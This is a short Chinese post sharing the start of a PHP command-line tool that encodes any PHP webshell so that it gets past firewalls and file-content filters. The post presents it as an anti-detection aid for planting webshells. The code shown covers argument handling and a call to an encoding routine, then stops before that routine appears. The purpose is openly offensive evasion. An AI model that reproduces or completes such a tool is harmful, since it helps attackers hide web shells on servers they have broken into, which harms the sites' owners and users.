这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式！
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马！
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙
复制代码 代码如下:
<?php
/*
Title: PHP shell nokill T00L
Blog: exploit-db.blogcn.com
*/
error_reporting(0);
@ini_set('memory_limit','-1');
set_time_limit(0);
$toolname="$argv[0]";
if ($argc<2) {
baner($toolname);
die;
}
$input_file= trim($argv[1]);
$output_file='nokill_'.$input_file;
if (file_exists($input_file)) {
No_kill_c0de($input_file,$output_file);
echo "PHP shell nokill T00Lrn";
echo "Blog: exploit-db.blogcn.comrn";
